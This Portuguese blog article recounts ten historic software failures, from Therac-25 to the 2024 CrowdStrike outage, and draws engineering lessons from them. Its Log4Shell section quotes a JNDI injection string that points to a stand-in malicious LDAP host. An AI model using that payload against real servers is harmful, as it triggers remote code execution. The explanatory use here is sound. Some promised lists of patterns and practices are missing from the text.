Os 10 Piores Bugs da Historia: De Therac-25

Galera, software ja matou gente, ja quebrou empresas bilionarias e ja parou o mundo inteiro por um dia. E o pior: nenhum desses desastres precisava ter acontecido. Todos tinham solucoes simples que foram ignoradas.

Montei essa lista com os 10 piores bugs da historia do software. Nao e ranking de prejuizo financeiro (embora alguns estejam ai por isso tambem). E ranking de impacto real — em vidas, em confianca e em licoes que a industria deveria ter aprendido mas continua repetindo.

#1 Therac-25 — O bug que matou pacientes (1985-1987)

O Therac-25 era uma maquina de radioterapia canadense usada em hospitais nos EUA e Canada. Entre 1985 e 1987, pelo menos 6 pacientes receberam doses de radiacao massivamente acima do prescrito. Pelo menos 3 morreram diretamente por causa do bug.

O problema era uma condicao de corrida no software. Quando o operador digitava os comandos rapido demais — mudando de modo eletron pra modo raio-X em menos de 8 segundos — o software nao atualizava a posicao do colimador, mas ativava o feixe de alta energia. Resultado: radiacao direta no paciente sem nenhuma filtragem.

O Therac-25 foi projetado sem hardware de seguranca independente do software. Modelos anteriores (Therac-6 e Therac-20) tinham travas mecanicas que impediam overdose mesmo se o software falhasse. No Therac-25, os engenheiros removeram essas travas porque 'o software era seguro o bastante'. Spoiler: nao era.

A licao mais dura do Therac-25: software nunca deve ser a unica barreira entre um sistema perigoso e o usuario. Defesa em profundidade nao e opcional.

#2 Ariane 5 — US$ 370 milhoes em 37 segundos (1996)

4 de junho de 1996. O foguete Ariane 5 da Agencia Espacial Europeia explode 37 segundos apos o lancamento. Motivo: um float de 64 bits foi convertido pra um inteiro de 16 bits. O valor era grande demais, causou overflow, e o sistema de navegacao surtou.

O detalhe que deixa todo mundo de boca aberta: o codigo que causou o bug vinha do Ariane 4. Funcionava la porque a trajetoria do Ariane 4 nunca gerava valores altos o suficiente pra estourar o int16. Ninguem testou se os valores continuavam dentro do range no foguete novo.

O sistema de backup falhou pelo mesmo motivo — rodava o mesmo codigo. Sem navegacao, o foguete comecou a girar. O sistema de autodestruicao ativou. US$ 370 milhoes viraram fumaca na Guiana Francesa.

Quer a historia completa? Tem um artigo dedicado: A Historia Nao Contada do Desastre do Ariane 5.

#3 Mars Climate Orbiter — O bug de unidades (1999)

A NASA perdeu uma sonda de US$ 125 milhoes porque um modulo enviava dados em libras-forca e outro esperava newtons. Sim, o software da Lockheed Martin usava unidades imperiais e o da NASA usava metricas. Ninguem validou a interface entre os dois.

A sonda chegou em Marte 170 km mais baixo do que deveria. Entrou na atmosfera e desintegrou. Meses de viagem e US$ 125 milhoes destruidos porque um requisito de interface nao foi checado.

#4 Knight Capital — US$ 440 milhoes em 45 minutos (2012)

Em 1 de agosto de 2012, a Knight Capital Group deployou codigo novo nos seus servidores de trading. O deploy falhou parcialmente: 1 dos 8 servidores nao recebeu a atualizacao. Esse servidor ainda tinha codigo de teste ativo — um modulo chamado Power Peg que comprava e vendia acoes de forma agressiva.

Quando o mercado abriu, o Power Peg comecou a operar. Em 45 minutos, executou 4 milhoes de ordens em 154 acoes diferentes, acumulando posicoes que a empresa nao conseguia cobrir. Prejuizo total: US$ 440 milhoes. A empresa, que valia US$ 365 milhoes, faliu em dias.

O mais absurdo: o deploy foi feito manualmente, servidor por servidor, sem verificacao automatizada. A flag que ativava o Power Peg foi reutilizada pra uma funcionalidade nova, entao o servidor antigo interpretou a flag de forma errada.

#5 Heartbleed — 2 anos de portas abertas (2012-2014)

O Heartbleed (CVE-2014-0160) foi um bug no OpenSSL que ficou escondido por 2 anos. O problema era simples: a implementacao do heartbeat do TLS nao validava o tamanho do payload. Voce mandava 'oi' e pedia 64KB de resposta. O servidor retornava 'oi' + 64KB de memoria aleatoria que podia conter senhas, chaves privadas, tokens de sessao.

O bug era de um commit feito por um contribuidor open-source em dezembro de 2011 e entrou no OpenSSL 1.0.1 em marco de 2012. So foi descoberto em abril de 2014. Nesse periodo, 17% de todos os servidores HTTPS do mundo estavam vulneraveis. Ninguem sabe quantas vezes foi explorado antes da divulgacao.

#6 Boeing 737 MAX MCAS — 346 vidas (2018-2019)

O sistema MCAS (Maneuvering Characteristics Augmentation System) do Boeing 737 MAX foi projetado pra corrigir automaticamente o angulo de ataque do aviao. O problema: ele dependia de um unico sensor de angulo de ataque. Se o sensor desse leitura errada, o MCAS empurrava o nariz do aviao pra baixo — repetidamente, sem que os pilotos conseguissem desativar de forma intuitiva.

Em outubro de 2018, o voo Lion Air 610 caiu na Indonesia. 189 mortos. Em marco de 2019, o voo Ethiopian Airlines 302 caiu na Etiopia. 157 mortos. Mesmo bug. Mesmo sistema. A Boeing sabia do problema do sensor unico e nao corrigiu.

A FAA descobriu depois que a Boeing tinha classificado o MCAS como sistema nao-critico pra evitar exigencias regulatorias mais rigidas. O resultado dessas decisoes foi 346 familias destruidas.

#7 Log4Shell — A vulnerabilidade que ninguem esperava (2021)

Em dezembro de 2021, a CVE-2021-44228 abalou a internet. O Log4j, uma biblioteca de logging usada em praticamente todo software Java do planeta, tinha uma vulnerabilidade de execucao remota de codigo. Bastava enviar uma string no formato ${jndi:ldap://servidor-malicioso/exploit} em qualquer campo que fosse logado — header HTTP, campo de formulario, mensagem de chat.

A gravidade era maxima: CVSS 10.0. A superficie de ataque era absurda: servidores Minecraft, iCloud, Steam, Amazon, Twitter, LinkedIn — tudo que rodava Java e usava Log4j (que era quase tudo) estava vulneravel. E o fix nao era simples porque Log4j era dependencia transitiva de centenas de outras bibliotecas.

#8 CrowdStrike — 8,5 milhoes de PCs azuis (2024)

19 de julho de 2024. Uma sexta-feira que ninguem vai esquecer. Uma atualizacao de configuracao do sensor Falcon da CrowdStrike causou tela azul da morte (BSOD) em 8,5 milhoes de computadores Windows ao redor do mundo. Aeroportos cancelaram milhares de voos. Hospitais voltaram pro papel. Bancos pararam de operar.

O bug era um out-of-bounds read causado por um arquivo de configuracao (Channel File 291) que tinha mais campos do que o parser esperava. O sensor rodava em kernel mode — nivel mais baixo do Windows — entao qualquer crash era BSOD instantaneo. E a maquina nao conseguia dar boot normal porque o sensor carregava antes de tudo.

O fix era manual: dar boot em Safe Mode e deletar o arquivo C-00000291*.sys. Agora imagina fazer isso em 8,5 milhoes de maquinas, incluindo servidores em data centers sem teclado e monitor.

#9 Toyota — Aceleracao involuntaria (2005-2010)

Entre 2005 e 2010, varios modelos Toyota apresentaram aceleracao involuntaria — o carro acelerava sozinho mesmo com o motorista pisando no freio. A Toyota inicialmente culpou tapetes e pedais mecanicos, mas uma analise de peritos descobriu que o software do acelerador eletronico era uma zona de guerra.

O relatorio da Barr Group encontrou: mais de 10.000 variaveis globais, stack overflow potencial em varias funcoes, falta de protecao contra corrupcao de RAM e ausencia de watchdog independente pro throttle. O codigo C tinha tantos caminhos nao-testados que os peritos nao conseguiam garantir que o software era seguro em nenhuma condicao.

#10 Patriot Missile — 28 soldados mortos por precisao de float (1991)

Durante a Guerra do Golfo, o sistema de defesa Patriot Missile falhou em interceptar um missil Scud iraquiano em Dhahran, Arabia Saudita. O missil atingiu um quartel americano e matou 28 soldados em 25 de fevereiro de 1991.

O problema era acumulo de erro de ponto flutuante. O sistema usava um registrador de 24 bits pra representar o tempo em decimos de segundo. O valor 0.1 nao tem representacao exata em binario — fica 0.00011001100110011... (repetindo). Cada decimo de segundo, o sistema acumulava um erro de 0.000000095 segundos.

O Patriot de Dhahran estava ligado ha 100 horas. O erro acumulado era de 0.34 segundos. A essa velocidade, 0.34 segundos significam que o sistema apontava para 687 metros de distancia do alvo real. O Scud passou direto.

O que todos esses bugs tem em comum

Olhando pros 10 casos, da pra ver padroes que se repetem. Nao e falta de inteligencia dos programadores. E falta de processos que previnem falhas humanas normais.

Percebe o padrao? A tecnologia muda, as linguagens mudam, os dominios mudam — mas os tipos de erro sao os mesmos. E justamente por isso que estudar essas historias tem valor pratico: os proximos desastres vao ser causados pelas mesmas categorias de falha.

Licoes praticas pro seu codigo

Da pra aplicar as licoes desses 10 desastres no seu projeto hoje, mesmo que voce nao esteja lancando foguetes ou operando cirurgias. Aqui vai o que muda na pratica:

Nenhum desses itens e complicado. O dificil e ter a disciplina de fazer sempre, em todo PR, em todo deploy. Mas olha pros 10 casos acima e pensa: valeria ter feito?

Perguntas frequentes

Qual foi o pior bug de software da historia?

Em termos de vidas perdidas, o Boeing 737 MAX e o mais grave: 346 mortes em dois acidentes. Mas o Therac-25 e considerado o caso mais emblematico porque o software era a unica barreira de seguranca e ninguem testou condicoes de corrida.

Esses bugs poderiam ter sido evitados?

Todos. Sem excecao. Cada um deles tinha uma solucao tecnica simples que foi ignorada: uma checagem de tipo, um teste de integracao, um staged rollout, uma validacao de input. O problema nunca foi falta de solucao — foi falta de processo.

O que o CrowdStrike mudou depois do incidente?

A CrowdStrike implementou staged deployment para atualizacoes de conteudo, adicionou validacao mais rigorosa nos Channel Files, e deu aos clientes mais controle sobre o ritmo de atualizacoes. A Microsoft tambem comecou a discutir se drivers de seguranca realmente precisam rodar em kernel mode.